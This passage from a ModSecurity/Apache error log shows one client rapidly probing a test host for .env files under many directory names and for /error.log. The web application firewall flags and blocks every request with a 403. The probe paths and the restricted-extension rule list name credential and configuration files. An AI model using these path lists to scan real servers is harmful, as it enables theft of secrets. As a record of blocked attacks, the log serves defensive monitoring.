&quot;/env/dockers/php-apache/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjrgAAAAc&quot;]
[Mon Jul 28 20:46:08.982467 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/dockers/php-apache/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjrgAAAAc&quot;]
[Mon Jul 28 20:46:08.982619 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/dockers/php-apache/.env&quot;] [unique_id &quot;aIfFcFcqnrybmcpdiyhjrgAAAAc&quot;]
[Mon Jul 28 20:46:09.002592 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /env/example/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/example/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjrwAAAAc&quot;]
[Mon Jul 28 20:46:09.002776 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/example/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjrwAAAAc&quot;]
[Mon Jul 28 20:46:09.002931 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/example/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjrwAAAAc&quot;]
[Mon Jul 28 20:46:09.046007 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /env/template/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/template/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjsAAAAAc&quot;]
[Mon Jul 28 20:46:09.046206 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/template/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjsAAAAAc&quot;]
[Mon Jul 28 20:46:09.046382 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/template/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjsAAAAAc&quot;]
[Mon Jul 28 20:46:09.066476 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /environments/local/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/environments/local/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjsQAAAAc&quot;]
[Mon Jul 28 20:46:09.066678 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/environments/local/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjsQAAAAc&quot;]
[Mon Jul 28 20:46:09.066850 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/environments/local/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjsQAAAAc&quot;]
[Mon Jul 28 20:46:09.088360 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /environments/production/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/environments/production/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjsgAAAAc&quot;]
[Mon Jul 28 20:46:09.088583 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/environments/production/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjsgAAAAc&quot;]
[Mon Jul 28 20:46:09.088749 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/environments/production/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjsgAAAAc&quot;]
[Mon Jul 28 20:46:09.108762 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /envs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/envs/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjswAAAAc&quot;]
[Mon Jul 28 20:46:09.108951 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/envs/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjswAAAAc&quot;]
[Mon Jul 28 20:46:09.109129 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/envs/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjswAAAAc&quot;]
[Mon Jul 28 20:46:09.129117 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error.log&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjtAAAAAc&quot;]
[Mon Jul 28 20:46:09.129392 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error.log&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjtAAAAAc&quot;]
[Mon Jul 28 20:46:09.129553 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error.log&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjtAAAAAc&quot;]
[Mon Jul 28 20:46:09.149523 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /error/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjtQAAAAc&quot;]
[Mon Jul 28 20:46:09.149702 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjtQAAAAc&quot;]
[Mon Jul 28 20:46:09.149853 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/error/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjtQAAAAc&quot;]
[Mon Jul 28 20:46:09.170007 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /errors/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/errors/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjtgAAAAc&quot;]
[Mon Jul 28 20:46:09.170204 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/errors/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjtgAAAAc&quot;]
[Mon Jul 28 20:46:09.170392 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/errors/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjtgAAAAc&quot;]
[Mon Jul 28 20:46:09.190468 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /example/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjtwAAAAc&quot;]
[Mon Jul 28 20:46:09.190670 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjtwAAAAc&quot;]
[Mon Jul 28 20:46:09.190838 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjtwAAAAc&quot;]
[Mon Jul 28 20:46:09.210996 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /example02-golang-package/import-underscore/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example02-golang-package/import-underscore/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjuAAAAAc&quot;]
[Mon Jul 28 20:46:09.211184 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example02-golang-package/import-underscore/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjuAAAAAc&quot;]
[Mon Jul 28 20:46:09.211354 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example02-golang-package/import-underscore/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjuAAAAAc&quot;]
[Mon Jul 28 20:46:09.231299 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /example27-how-to-load-env/sample01/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag 